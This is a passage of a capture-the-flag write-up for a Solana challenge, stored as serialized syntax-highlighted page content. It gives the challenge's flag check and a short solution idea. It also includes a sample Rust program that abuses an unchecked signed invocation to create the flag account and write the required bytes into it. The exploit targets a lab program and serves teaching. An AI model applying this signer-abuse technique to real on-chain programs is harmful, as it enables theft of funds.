}\n}\n",[42631],{"type":23,"tag":209,"props":42632,"children":42633},{"__ignoreMap":7},[42634,42718,42809,42850,42934,42941,42978,43035,43080,43095,43131,43138,43145],{"type":23,"tag":213,"props":42635,"children":42636},{"class":215,"line":216},[42637,42641,42646,42650,42654,42658,42663,42667,42671,42675,42680,42684,42689,42694,42698,42702,42706,42710,42714],{"type":23,"tag":213,"props":42638,"children":42639},{"style":230},[42640],{"type":28,"value":11871},{"type":23,"tag":213,"props":42642,"children":42643},{"style":268},[42644],{"type":28,"value":42645}," flag",{"type":23,"tag":213,"props":42647,"children":42648},{"style":274},[42649],{"type":28,"value":511},{"type":23,"tag":213,"props":42651,"children":42652},{"style":290},[42653],{"type":28,"value":419},{"type":23,"tag":213,"props":42655,"children":42656},{"style":274},[42657],{"type":28,"value":562},{"type":23,"tag":213,"props":42659,"children":42660},{"style":257},[42661],{"type":28,"value":42662},"create_program_address",{"type":23,"tag":213,"props":42664,"children":42665},{"style":220},[42666],{"type":28,"value":265},{"type":23,"tag":213,"props":42668,"children":42669},{"style":274},[42670],{"type":28,"value":405},{"type":23,"tag":213,"props":42672,"children":42673},{"style":220},[42674],{"type":28,"value":3821},{"type":23,"tag":213,"props":42676,"children":42677},{"style":246},[42678],{"type":28,"value":42679},"\"FLAG\"",{"type":23,"tag":213,"props":42681,"children":42682},{"style":274},[42683],{"type":28,"value":124},{"type":23,"tag":213,"props":42685,"children":42686},{"style":257},[42687],{"type":28,"value":42688},"as_ref",{"type":23,"tag":213,"props":42690,"children":42691},{"style":220},[42692],{"type":28,"value":42693},"()], ",{"type":23,"tag":213,"props":42695,"children":42696},{"style":274},[42697],{"type":28,"value":405},{"type":23,"tag":213,"props":42699,"children":42700},{"style":220},[42701],{"type":28,"value":42268},{"type":23,"tag":213,"props":42703,"children":42704},{"style":274},[42705],{"type":28,"value":562},{"type":23,"tag":213,"props":42707,"children":42708},{"style":220},[42709],{"type":28,"value":42524},{"type":23,"tag":213,"props":42711,"children":42712},{"style":274},[42713],{"type":28,"value":2126},{"type":23,"tag":213,"props":42715,"children":42716},{"style":220},[42717],{"type":28,"value":313},{"type":23,"tag":213,"props":42719,"children":42720},{"class":215,"line":226},[42721,42725,42729,42733,42737,42742,42746,42750,42754,42758,42762,42766,42771,42775,42780,42784,42789,42793,42797,42801,42805],{"type":23,"tag":213,"props":42722,"children":42723},{"style":1362},[42724],{"type":28,"value":15637},{"type":23,"tag":213,"props":42726,"children":42727},{"style":230},[42728],{"type":28,"value":27360},{"type":23,"tag":213,"props":42730,"children":42731},{"style":290},[42732],{"type":28,"value":27365},{"type":23,"tag":213,"props":42734,"children":42735},{"style":220},[42736],{"type":28,"value":265},{"type":23,"tag":213,"props":42738,"children":42739},{"style":268},[42740],{"type":28,"value":42741},"acct",{"type":23,"tag":213,"props":42743,"children":42744},{"style":220},[42745],{"type":28,"value":298},{"type":23,"tag":213,"props":42747,"children":42748},{"style":274},[42749],{"type":28,"value":3190},{"type":23,"tag":213,"props":42751,"children":42752},{"style":268},[42753],{"type":28,"value":42099},{"type":23,"tag":213,"props":42755,"children":42756},{"style":274},[42757],{"type":28,"value":124},{"type":23,"tag":213,"props":42759,"children":42760},{"style":220},[42761],{"type":28,"value":20335},{"type":23,"tag":213,"props":42763,"children":42764},{"style":274},[42765],{"type":28,"value":124},{"type":23,"tag":213,"props":42767,"children":42768},{"style":220},[42769],{"type":28,"value":42770},"banks_client",{"type":23,"tag":213,"props":42772,"children":42773},{"style":274},[42774],{"type":28,"value":124},{"type":23,"tag":213,"props":42776,"children":42777},{"style":257},[42778],{"type":28,"value":42779},"get_account",{"type":23,"tag":213,"props":42781,"children":42782},{"style":220},[42783],{"type":28,"value":265},{"type":23,"tag":213,"props":42785,"children":42786},{"style":268},[42787],{"type":28,"value":42788},"flag",{"type":23,"tag":213,"props":42790,"children":42791},{"style":220},[42792],{"type":28,"value":2121},{"type":23,"tag":213,"props":42794,"children":42795},{"style":274},[42796],{"type":28,"value":124},{"type":23,"tag":213,"props":42798,"children":42799},{"style":1362},[42800],{"type":28,"value":32972},{"type":23,"tag":213,"props":42802,"children":42803},{"style":274},[42804],{"type":28,"value":2126},{"type":23,"tag":213,"props":42806,"children":42807},{"style":220},[42808],{"type":28,"value":1375},{"type":23,"tag":213,"props":42810,"children":42811},{"class":215,"line":524},[42812,42816,42821,42825,42829,42833,42837,42841,42845],{"type":23,"tag":213,"props":42813,"children":42814},{"style":1362},[42815],{"type":28,"value":2653},{"type":23,"tag":213,"props":42817,"children":42818},{"style":268},[42819],{"type":28,"value":42820}," acct",{"type":23,"tag":213,"props":42822,"children":42823},{"style":274},[42824],{"type":28,"value":124},{"type":23,"tag":213,"props":42826,"children":42827},{"style":220},[42828],{"type":28,"value":3791},{"type":23,"tag":213,"props":42830,"children":42831},{"style":274},[42832],{"type":28,"value":124},{"type":23,"tag":213,"props":42834,"children":42835},{"style":257},[42836],{"type":28,"value":9225},{"type":23,"tag":213,"props":42838,"children":42839},{"style":220},[42840],{"type":28,"value":2698},{"type":23,"tag":213,"props":42842,"children":42843},{"style":274},[42844],{"type":28,"value":8660},{"type":23,"tag":213,"props":42846,"children":42847},{"style":514},[42848],{"type":28,"value":42849}," 0x1337\n",{"type":23,"tag":213,"props":42851,"children":42852},{"class":215,"line":533},[42853,42858,42862,42866,42871,42875,42879,42883,42888,42892,42896,42900,42904,42908,42912,42916,42920,42925,42929],{"type":23,"tag":213,"props":42854,"children":42855},{"style":274},[42856],{"type":28,"value":42857}," &&",{"type":23,"tag":213,"props":42859,"children":42860},{"style":290},[42861],{"type":28,"value":308},{"type":23,"tag":213,"props":42863,"children":42864},{"style":274},[42865],{"type":28,"value":562},{"type":23,"tag":213,"props":42867,"children":42868},{"style":257},[42869],{"type":28,"value":42870},"from_le_bytes",{"type":23,"tag":213,"props":42872,"children":42873},{"style":220},[42874],{"type":28,"value":265},{"type":23,"tag":213,"props":42876,"children":42877},{"style":268},[42878],{"type":28,"value":42741},{"type":23,"tag":213,"props":42880,"children":42881},{"style":274},[42882],{"type":28,"value":124},{"type":23,"tag":213,"props":42884,"children":42885},{"style":220},[42886],{"type":28,"value":42887},"data[",{"type":23,"tag":213,"props":42889,"children":42890},{"style":274},[42891],{"type":28,"value":3150},{"type":23,"tag":213,"props":42893,"children":42894},{"style":514},[42895],{"type":28,"value":4170},{"type":23,"tag":213,"props":42897,"children":42898},{"style":220},[42899],{"type":28,"value":15470},{"type":23,"tag":213,"props":42901,"children":42902},{"style":274},[42903],{"type":28,"value":124},{"type":23,"tag":213,"props":42905,"children":42906},{"style":257},[42907],{"type":28,"value":26217},{"type":23,"tag":213,"props":42909,"children":42910},{"style":220},[42911],{"type":28,"value":13955},{"type":23,"tag":213,"props":42913,"children":42914},{"style":274},[42915],{"type":28,"value":124},{"type":23,"tag":213,"props":42917,"children":42918},{"style":257},[42919],{"type":28,"value":3754},{"type":23,"tag":213,"props":42921,"children":42922},{"style":220},[42923],{"type":28,"value":42924},"()) ",{"type":23,"tag":213,"props":42926,"children":42927},{"style":274},[42928],{"type":28,"value":8660},{"type":23,"tag":213,"props":42930,"children":42931},{"style":514},[42932],{"type":28,"value":42933}," 0x4337\n",{"type":23,"tag":213,"props":42935,"children":42936},{"class":215,"line":543},[42937],{"type":23,"tag":213,"props":42938,"children":42939},{"style":220},[42940],{"type":28,"value":2725},{"type":23,"tag":213,"props":42942,"children":42943},{"class":215,"line":551},[42944,42949,42953,42957,42961,42966,42970,42974],{"type":23,"tag":213,"props":42945,"children":42946},{"style":257},[42947],{"type":28,"value":42948}," writeln!",{"type":23,"tag":213,"props":42950,"children":42951},{"style":220},[42952],{"type":28,"value":265},{"type":23,"tag":213,"props":42954,"children":42955},{"style":268},[42956],{"type":28,"value":41994},{"type":23,"tag":213,"props":42958,"children":42959},{"style":220},[42960],{"type":28,"value":424},{"type":23,"tag":213,"props":42962,"children":42963},{"style":246},[42964],{"type":28,"value":42965},"\"congrats!\"",{"type":23,"tag":213,"props":42967,"children":42968},{"style":220},[42969],{"type":28,"value":2121},{"type":23,"tag":213,"props":42971,"children":42972},{"style":274},[42973],{"type":28,"value":2126},{"type":23,"tag":213,"props":42975,"children":42976},{"style":220},[42977],{"type":28,"value":313},{"type":23,"tag":213,"props":42979,"children":42980},{"class":215,"line":570},[42981,42985,42989,42994,42998,43002,43006,43010,43015,43019,43023,43027,43031],{"type":23,"tag":213,"props":42982,"children":42983},{"style":1362},[42984],{"type":28,"value":3369},{"type":23,"tag":213,"props":42986,"children":42987},{"style":230},[42988],{"type":28,"value":27360},{"type":23,"tag":213,"props":42990,"children":42991},{"style":290},[42992],{"type":28,"value":42993}," Ok",{"type":23,"tag":213,"props":42995,"children":42996},{"style":220},[42997],{"type":28,"value":265},{"type":23,"tag":213,"props":42999,"children":43000},{"style":268},[43001],{"type":28,"value":42788},{"type":23,"tag":213,"props":43003,"children":43004},{"style":220},[43005],{"type":28,"value":298},{"type":23,"tag":213,"props":43007,"children":43008},{"style":274},[43009],{"type":28,"value":3190},{"type":23,"tag":213,"props":43011,"children":43012},{"style":220},[43013],{"type":28,"value":43014}," env",{"type":23,"tag":213,"props":43016,"children":43017},{"style":274},[43018],{"type":28,"value":562},{"type":23,"tag":213,"props":43020,"children":43021},{"style":257},[43022],{"type":28,"value":35104},{"type":23,"tag":213,"props":43024,"children":43025},{"style":220},[43026],{"type":28,"value":265},{"type":23,"tag":213,"props":43028,"children":43029},{"style":246},[43030],{"type":28,"value":42679},{"type":23,"tag":213,"props":43032,"children":43033},{"style":220},[43034],{"type":28,"value":14870},{"type":23,"tag":213,"props":43036,"children":43037},{"class":215,"line":655},[43038,43043,43047,43051,43055,43060,43064,43068,43072,43076],{"type":23,"tag":213,"props":43039,"children":43040},{"style":257},[43041],{"type":28,"value":43042}," writeln!",{"type":23,"tag":213,"props":43044,"children":43045},{"style":220},[43046],{"type":28,"value":265},{"type":23,"tag":213,"props":43048,"children":43049},{"style":268},[43050],{"type":28,"value":41994},{"type":23,"tag":213,"props":43052,"children":43053},{"style":220},[43054],{"type":28,"value":424},{"type":23,"tag":213,"props":43056,"children":43057},{"style":246},[43058],{"type":28,"value":43059},"\"flag: {:?}\"",{"type":23,"tag":213,"props":43061,"children":43062},{"style":220},[43063],{"type":28,"value":424},{"type":23,"tag":213,"props":43065,"children":43066},{"style":268},[43067],{"type":28,"value":42788},{"type":23,"tag":213,"props":43069,"children":43070},{"style":220},[43071],{"type":28,"value":2121},{"type":23,"tag":213,"props":43073,"children":43074},{"style":274},[43075],{"type":28,"value":2126},{"type":23,"tag":213,"props":43077,"children":43078},{"style":220},[43079],{"type":28,"value":313},{"type":23,"tag":213,"props":43081,"children":43082},{"class":215,"line":1176},[43083,43087,43091],{"type":23,"tag":213,"props":43084,"children":43085},{"style":220},[43086],{"type":28,"value":3407},{"type":23,"tag":213,"props":43088,"children":43089},{"style":1362},[43090],{"type":28,"value":3412},{"type":23,"tag":213,"props":43092,"children":43093},{"style":220},[43094],{"type":28,"value":1375},{"type":23,"tag":213,"props":43096,"children":43097},{"class":215,"line":1202},[43098,43102,43106,43110,43114,43119,43123,43127],{"type":23,"tag":213,"props":43099,"children":43100},{"style":257},[43101],{"type":28,"value":43042},{"type":23,"tag":213,"props":43103,"children":43104},{"style":220},[43105],{"type":28,"value":265},{"type":23,"tag":213,"props":43107,"children":43108},{"style":268},[43109],{"type":28,"value":41994},{"type":23,"tag":213,"props":43111,"children":43112},{"style":220},[43113],{"type":28,"value":424},{"type":23,"tag":213,"props":43115,"children":43116},{"style":246},[43117],{"type":28,"value":43118},"\"flag not found, please contact admin\"",{"type":23,"tag":213,"props":43120,"children":43121},{"style":220},[43122],{"type":28,"value":2121},{"type":23,"tag":213,"props":43124,"children":43125},{"style":274},[43126],{"type":28,"value":2126},{"type":23,"tag":213,"props":43128,"children":43129},{"style":220},[43130],{"type":28,"value":313},{"type":23,"tag":213,"props":43132,"children":43133},{"class":215,"line":1758},[43134],{"type":23,"tag":213,"props":43135,"children":43136},{"style":220},[43137],{"type":28,"value":3444},{"type":23,"tag":213,"props":43139,"children":43140},{"class":215,"line":1767},[43141],{"type":23,"tag":213,"props":43142,"children":43143},{"style":220},[43144],{"type":28,"value":2875},{"type":23,"tag":213,"props":43146,"children":43147},{"class":215,"line":1789},[43148],{"type":23,"tag":213,"props":43149,"children":43150},{"style":220},[43151],{"type":28,"value":1208},{"type":23,"tag":47,"props":43153,"children":43155},{"id":43154},"solution-idea",[43156],{"type":28,"value":43157},"Solution Idea",{"type":23,"tag":24,"props":43159,"children":43160},{},[43161,43163,43168],{"type":28,"value":43162},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":209,"props":43164,"children":43166},{"className":43165},[],[43167],{"type":28,"value":35739},{"type":28,"value":43169}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":43171,"children":43172},{},[43173,43175,43181],{"type":28,"value":43174},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":209,"props":43176,"children":43178},{"className":43177},[],[43179],{"type":28,"value":43180},"PDA(\"FLAG\")",{"type":28,"value":43182}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":43184,"children":43185},{},[43186,43188,43195],{"type":28,"value":43187},"Essentially, we need to ",{"type":23,"tag":36,"props":43189,"children":43192},{"href":43190,"rel":43191},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[40],[43193],{"type":28,"value":43194},"invoke the System Program",{"type":28,"value":43196},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":43198,"children":43199},{},[43200],{"type":28,"value":43201},"A sample program that does this is as follows:",{"type":23,"tag":202,"props":43203,"children":43205},{"className":206,"code":43204,"language":205,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n system_program::ID,\n &SystemInstruction::CreateAccount {\n space: 0x1337,\n lamports: Rent::default().minimum_balance(0x1337),\n owner: chall::ID\n },\n vec![\n AccountMeta::new(*user_ai.key, true),\n AccountMeta::new(*flag_pda_ai.key, true),\n ],\n );\n invoke_signed_unchecked(\n &instruction,\n &[\n user_ai.clone(),\n flag_pda_ai.clone(),\n ],\n &[&[\"FLAG\".as_ref()]],\n )?;\n\n // Step 2: Write 0x4337 to the first 8 bytes of the account\n flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n Ok(())\n}\n",[43206],{"type":23,"tag":209,"props":43207,"children":43208},{"__ignoreMap":7},[43209,43229,43253,43281,43309,43329,43365,43401,43408,43416,43447,43463,43486,43506,43557,43581,43588,43600,43646,43690,43698,43706,43717,43733,43744,43764,43784,43791,43827,43842,43849,43857,43936,43943,43954],{"type":23,"tag":213,"props":43210,"children":43211},{"class":215,"line":216},[43212,43216,43220,43225],{"type":23,"tag":213,"props":43213,"children":43214},{"style":230},[43215],{"type":28,"value":233},{"type":23,"tag":213,"props":43217,"children":43218},{"style":230},[43219],{"type":28,"value":254},{"type":23,"tag":213,"props":43221,"children":43222},{"style":257},[43223],{"type":28,"value":43224}," process_instruction",{"type":23,"tag":213,"props":43226,"children":43227},{"style":220},[43228],{"type":28,"value":1511},{"type":23,"tag":213,"props":43230,"children":43231},{"class":215,"line":226},[43232,43237,43241,43245,43249],{"type":23,"tag":213,"props":43233,"children":43234},{"style":268},[43235],{"type":28,"value":43236}," program_id",{"type":23,"tag":213,"props":43238,"children":43239},{"style":274},[43240],{"type":28,"value":277},{"type":23,"tag":213,"props":43242,"children":43243},{"style":274},[43244],{"type":28,"value":927},{"type":23,"tag":213,"props":43246,"children":43247},{"style":290},[43248],{"type":28,"value":1532},{"type":23,"tag":213,"props":43250,"children":43251},{"style":220},[43252],{"type":28,"value":944},{"type":23,"tag":213,"props":43254,"children":43255},{"class":215,"line":524},[43256,43261,43265,43269,43273,43277],{"type":23,"tag":213,"props":43257,"children":43258},{"style":268},[43259],{"type":28,"value":43260}," accounts",{"type":23,"tag":213,"props":43262,"children":43263},{"style":274},[43264],{"type":28,"value":277},{"type":23,"tag":213,"props":43266,"children":43267},{"style":274},[43268],{"type":28,"value":927},{"type":23,"tag":213,"props":43270,"children":43271},{"style":220},[43272],{"type":28,"value":3821},{"type":23,"tag":213,"props":43274,"children":43275},{"style":290},[43276],{"type":28,"value":439},{"type":23,"tag":213,"props":43278,"children":43279},{"style":220},[43280],{"type":28,"value":14337},{"type":23,"tag":213,"props":43282,"children":43283},{"class":215,"line":533},[43284,43289,43293,43297,43301,43305],{"type":23,"tag":213,"props":43285,"children":43286},{"style":268},[43287],{"type":28,"value":43288}," data",{"type":23,"tag":213,"props":43290,"children":43291},{"style":274},[43292],{"type":28,"value":277},{"type":23,"tag":213,"props":43294,"children":43295},{"style":274},[43296],{"type":28,"value":927},{"type":23,"tag":213,"props":43298,"children":43299},{"style":220},[43300],{"type":28,"value":3821},{"type":23,"tag":213,"props":43302,"children":43303},{"style":290},[43304],{"type":28,"value":474},{"type":23,"tag":213,"props":43306,"children":43307},{"style":220},[43308],{"type":28,"value":11856},{"type":23,"tag":213,"props":43310,"children":43311},{"class":215,"line":543},[43312,43316,43320,43325],{"type":23,"tag":213,"props":43313,"children":43314},{"style":220},[43315],{"type":28,"value":298},{"type":23,"tag":213,"props":43317,"children":43318},{"style":274},[43319],{"type":28,"value":303},{"type":23,"tag":213,"props":43321,"children":43322},{"style":290},[43323],{"type":28,"value":43324}," ProgramResult",{"type":23,"tag":213,"props":43326,"children":43327},{"style":220},[43328],{"type":28,"value":1375},{"type":23,"tag":213,"props":43330,"children":43331},{"class":215,"line":551},[43332,43336,43341,43345,43349,43353,43357,43361],{"type":23,"tag":213,"props":43333,"children":43334},{"style":230},[43335],{"type":28,"value":487},{"type":23,"tag":213,"props":43337,"children":43338},{"style":268},[43339],{"type":28,"value":43340}," flag_pda_ai",{"type":23,"tag":213,"props":43342,"children":43343},{"style":274},[43344],{"type":28,"value":511},{"type":23,"tag":213,"props":43346,"children":43347},{"style":274},[43348],{"type":28,"value":927},{"type":23,"tag":213,"props":43350,"children":43351},{"style":268},[43352],{"type":28,"value":14743},{"type":23,"tag":213,"props":43354,"children":43355},{"style":220},[43356],{"type":28,"value":3821},{"type":23,"tag":213,"props":43358,"children":43359},{"style":514},[43360],{"type":28,"value":4116},{"type":23,"tag":213,"props":43362,"children":43363},{"style":220},[43364],{"type":28,"value":31630},{"type":23,"tag":213,"props":43366,"children":43367},{"class":215,"line":570},[43368,43372,43377,43381,43385,43389,43393,43397],{"type":23,"tag":213,"props":43369,"children":43370},{"style":230},[43371],{"type":28,"value":487},{"type":23,"tag":213,"props":43373,"children":43374},{"style":268},[43375],{"type":28,"value":43376}," user_ai",{"type":23,"tag":213,"props":43378,"children":43379},{"style":274},[43380],{"type":28,"value":511},{"type":23,"tag":213,"props":43382,"children":43383},{"style":274},[43384],{"type":28,"value":927},{"type":23,"tag":213,"props":43386,"children":43387},{"style":268},[43388],{"type":28,"value":14743},{"type":23,"tag":213,"props":43390,"children":43391},{"style":220},[43392],{"type":28,"value":3821},{"type":23,"tag":213,"props":43394,"children":43395},{"style":514},[43396],{"type":28,"value":4106},{"type":23,"tag":213,"props":43398,"children":43399},{"style":220},[43400],{"type":28,"value":31630},{"type":23,"tag":213,"props":43402,"children":43403},{"class":215,"line":655},[43404],{"type":23,"tag":213,"props":43405,"children":43406},{"emptyLinePlaceholder":18},[43407],{"type":28,"value":530},{"type":23,"tag":213,"props":43409,"children":43410},{"class":215,"line":1176},[43411],{"type":23,"tag":213,"props":43412,"children":43413},{"style":537},[43414],{"type":28,"value":43415}," // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":213,"props":43417,"children":43418},{"class":215,"line":1202},[43419,43423,43427,43431,43435,43439,43443],{"type":23,"tag":213,"props":43420,"children":43421},{"style":230},[43422],{"type":28,"value":487},{"type":23,"tag":213,"props":43424,"children":43425},{"style":268},[43426],{"type":28,"value":1370},{"type":23,"tag":213,"props":43428,"children":43429},{"style":274},[43430],{"type":28,"value":511},{"type":23,"tag":213,"props":43432,"children":43433},{"style":290},[43434],{"type":28,"value":1640},{"type":23,"tag":213,"props":43436,"children":43437},{"style":274},[43438],{"type":28,"value":562},{"type":23,"tag":213,"props":43440,"children":43441},{"style":257},[43442],{"type":28,"value":1782},{"type":23,"tag":213,"props":43444,"children":43445},{"style":220},[43446],{"type":28,"value":1511},{"type":23,"tag":213,"props":43448,"children":43449},{"class":215,"line":1758},[43450,43454,43458],{"type":23,"tag":213,"props":43451,"children":43452},{"style":220},[43453],{"type":28,"value":1795},{"type":23,"tag":213,"props":43455,"children":43456},{"style":274},[43457],{"type":28,"value":562},{"type":23,"tag":213,"props":43459,"children":43460},{"style":220},[43461],{"type":28,"value":43462},"ID,\n",{"type":23,"tag":213,"props":43464,"children":43465},{"class":215,"line":1767},[43466,43470,43474,43478,43482],{"type":23,"tag":213,"props":43467,"children":43468},{"style":274},[43469],{"type":28,"value":1818},{"type":23,"tag":213,"props":43471,"children":43472},{"style":220},[43473],{"type":28,"value":1823},{"type":23,"tag":213,"props":43475,"children":43476},{"style":274},[43477],{"type":28,"value":562},{"type":23,"tag":213,"props":43479,"children":43480},{"style":290},[43481],{"type":28,"value":1392},{"type":23,"tag":213,"props":43483,"children":43484},{"style":220},[43485],{"type":28,"value":1375},{"type":23,"tag":213,"props":43487,"children":43488},{"class":215,"line":1789},[43489,43493,43497,43502],{"type":23,"tag":213,"props":43490,"children":43491},{"style":268},[43492],{"type":28,"value":1857},{"type":23,"tag":213,"props":43494,"children":43495},{"style":274},[43496],{"type":28,"value":277},{"type":23,"tag":213,"props":43498,"children":43499},{"style":514},[43500],{"type":28,"value":43501}," 0x1337",{"type":23,"tag":213,"props":43503,"children":43504},{"style":220},[43505],{"type":28,"value":944},{"type":23,"tag":213,"props":43507,"children":43508},{"class":215,"line":1812},[43509,43513,43517,43522,43526,43531,43535,43539,43544,43548,43553],{"type":23,"tag":213,"props":43510,"children":43511},{"style":268},[43512],{"type":28,"value":1844},{"type":23,"tag":213,"props":43514,"children":43515},{"style":274},[43516],{"type":28,"value":277},{"type":23,"tag":213,"props":43518,"children":43519},{"style":220},[43520],{"type":28,"value":43521}," Rent",{"type":23,"tag":213,"props":43523,"children":43524},{"style":274},[43525],{"type":28,"value":562},{"type":23,"tag":213,"props":43527,"children":43528},{"style":257},[43529],{"type":28,"value":43530},"default",{"type":23,"tag":213,"props":43532,"children":43533},{"style":220},[43534],{"type":28,"value":13955},{"type":23,"tag":213,"props":43536,"children":43537},{"style":274},[43538],{"type":28,"value":124},{"type":23,"tag":213,"props":43540,"children":43541},{"style":257},[43542],{"type":28,"value":43543},"minimum_balance",{"type":23,"tag":213,"props":43545,"children":43546},{"style":220},[43547],{"type":28,"value":265},{"type":23,"tag":213,"props":43549,"children":43550},{"style":514},[43551],{"type":28,"value":43552},"0x1337",{"type":23,"tag":213,"props":43554,"children":43555},{"style":220},[43556],{"type":28,"value":1715},{"type":23,"tag":213,"props":43558,"children":43559},{"class":215,"line":1838},[43560,43564,43568,43572,43576],{"type":23,"tag":213,"props":43561,"children":43562},{"style":268},[43563],{"type":28,"value":1870},{"type":23,"tag":213,"props":43565,"children":43566},{"style":274},[43567],{"type":28,"value":277},{"type":23,"tag":213,"props":43569,"children":43570},{"style":220},[43571],{"type":28,"value":42099},{"type":23,"tag":213,"props":43573,"children":43574},{"style":274},[43575],{"type":28,"value":562},{"type":23,"tag":213,"props":43577,"children":43578},{"style":220},[43579],{"type":28,"value":43580},"ID\n",{"type":23,"tag":213,"props":43582,"children":43583},{"class":215,"line":1851},[43584],{"type":23,"tag":213,"props":43585,"children":43586},{"style":220},[43587],{"type":28,"value":1896},{"type":23,"tag":213,"props":43589,"children":43590},{"class":215,"line":1864},[43591,43596],{"type":23,"tag":213,"props":43592,"children":43593},{"style":257},[43594],{"type":28,"value":43595}," vec!",{"type":23,"tag":213,"props":43597,"children":43598},{"style":220},[43599],{"type":28,"value":1670},{"type":23,"tag":213,"props":43601,"children":43602},{"class":215,"line":1890},[43603,43608,43612,43616,43620,43624,43629,43633,43638,43642],{"type":23,"tag":213,"props":43604,"children":43605},{"style":220},[43606],{"type":28,"value":43607}," AccountMeta",{"type":23,"tag":213,"props":43609,"children":43610},{"style":274},[43611],{"type":28,"value":562},{"type":23,"tag":213,"props":43613,"children":43614},{"style":257},[43615],{"type":28,"value":1687},{"type":23,"tag":213,"props":43617,"children":43618},{"style":220},[43619],{"type":28,"value":265},{"type":23,"tag":213,"props":43621,"children":43622},{"style":274},[43623],{"type":28,"value":1696},{"type":23,"tag":213,"props":43625,"children":43626},{"style":268},[43627],{"type":28,"value":43628},"user_ai",{"type":23,"tag":213,"props":43630,"children":43631},{"style":274},[43632],{"type":28,"value":124},{"type":23,"tag":213,"props":43634,"children":43635},{"style":220},[43636],{"type":28,"value":43637},"key, ",{"type":23,"tag":213,"props":43639,"children":43640},{"style":230},[43641],{"type":28,"value":1710},{"type":23,"tag":213,"props":43643,"children":43644},{"style":220},[43645],{"type":28,"value":1715},{"type":23,"tag":213,"props":43647,"children":43648},{"class":215,"line":1899},[43649,43653,43657,43661,43665,43669,43674,43678,43682,43686],{"type":23,"tag":213,"props":43650,"children":43651},{"style":220},[43652],{"type":28,"value":43607},{"type":23,"tag":213,"props":43654,"children":43655},{"style":274},[43656],{"type":28,"value":562},{"type":23,"tag":213,"props":43658,"children":43659},{"style":257},[43660],{"type":28,"value":1687},{"type":23,"tag":213,"props":43662,"children":43663},{"style":220},[43664],{"type":28,"value":265},{"type":23,"tag":213,"props":43666,"children":43667},{"style":274},[43668],{"type":28,"value":1696},{"type":23,"tag":213,"props":43670,"children":43671},{"style":268},[43672],{"type":28,"value":43673},"flag_pda_ai",{"type":23,"tag":213,"props":43675,"children":43676},{"style":274},[43677],{"type":28,"value":124},{"type":23,"tag":213,"props":43679,"children":43680},{"style":220},[43681],{"type":28,"value":43637},{"type":23,"tag":213,"props":43683,"children":43684},{"style":230},[43685],{"type":28,"value":1710},{"type":23,"tag":213,"props":43687,"children":43688},{"style":220},[43689],{"type":28,"value":1715},{"type":23,"tag":213,"props":43691,"children":43692},{"class":215,"line":1912},[43693],{"type":23,"tag":213,"props":43694,"children":43695},{"style":220},[43696],{"type":28,"value":43697}," ],\n",{"type":23,"tag":213,"props":43699,"children":43700},{"class":215,"line":1921},[43701],{"type":23,"tag":213,"props":43702,"children":43703},{"style":220},[43704],{"type":28,"value":43705}," );\n",{"type":23,"tag":213,"props":43707,"children":43708},{"class":215,"line":3879},[43709,43713],{"type":23,"tag":213,"props":43710,"children":43711},{"style":257},[43712],{"type":28,"value":41184},{"type":23,"tag":213,"props":43714,"children":43715},{"style":220},[43716],{"type":28,"value":1511},{"type":23,"tag":213,"props":43718,"children":43719},{"class":215,"line":3887},[43720,43724,43729],{"type":23,"tag":213,"props":43721,"children":43722},{"style":274},[43723],{"type":28,"value":1818},{"type":23,"tag":213,"props":43725,"children":43726},{"style":268},[43727],{"type":28,"value":43728},"instruction",{"type":23,"tag":213,"props":43730,"children":43731},{"style":220},[43732],{"type":28,"value":944},{"type":23,"tag":213,"props":43734,"children":43735},{"class":215,"line":3918},[43736,43740],{"type":23,"tag":213,"props":43737,"children":43738},{"style":274},[43739],{"type":28,"value":1818},{"type":23,"tag":213,"props":43741,"children":43742},{"style":220},[43743],{"type":28,"value":1670},{"type":23,"tag":213,"props":43745,"children":43746},{"class":215,"line":3926},[43747,43752,43756,43760],{"type":23,"tag":213,"props":43748,"children":43749},{"style":268},[43750],{"type":28,"value":43751}," user_ai",{"type":23,"tag":213,"props":43753,"children":43754},{"style":274},[43755],{"type":28,"value":124},{"type":23,"tag":213,"props":43757,"children":43758},{"style":257},[43759],{"type":28,"value":15479},{"type":23,"tag":213,"props":43761,"children":43762},{"style":220},[43763],{"type":28,"value":1809},{"type":23,"tag":213,"props":43765,"children":43766},{"class":215,"line":3986},[43767,43772,43776,43780],{"type":23,"tag":213,"props":43768,"children":43769},{"style":268},[43770],{"type":28,"value":43771}," flag_pda_ai",{"type":23,"tag":213,"props":43773,"children":43774},{"style":274},[43775],{"type":28,"value":124},{"type":23,"tag":213,"props":43777,"children":43778},{"style":257},[43779],{"type":28,"value":15479},{"type":23,"tag":213,"props":43781,"children":43782},{"style":220},[43783],{"type":28,"value":1809},{"type":23,"tag":213,"props":43785,"children":43786},{"class":215,"line":9132},[43787],{"type":23,"tag":213,"props":43788,"children":43789},{"style":220},[43790],{"type":28,"value":43697},{"type":23,"tag":213,"props":43792,"children":43793},{"class":215,"line":9150},[43794,43798,43802,43806,43810,43814,43818,43822],{"type":23,"tag":213,"props":43795,"children":43796},{"style":274},[43797],{"type":28,"value":1818},{"type":23,"tag":213,"props":43799,"children":43800},{"style":220},[43801],{"type":28,"value":3821},{"type":23,"tag":213,"props":43803,"children":43804},{"style":274},[43805],{"type":28,"value":405},{"type":23,"tag":213,"props":43807,"children":43808},{"style":220},[43809],{"type":28,"value":3821},{"type":23,"tag":213,"props":43811,"children":43812},{"style":246},[43813],{"type":28,"value":42679},{"type":23,"tag":213,"props":43815,"children":43816},{"style":274},[43817],{"type":28,"value":124},{"type":23,"tag":213,"props":43819,"children":43820},{"style":257},[43821],{"type":28,"value":42688},{"type":23,"tag":213,"props":43823,"children":43824},{"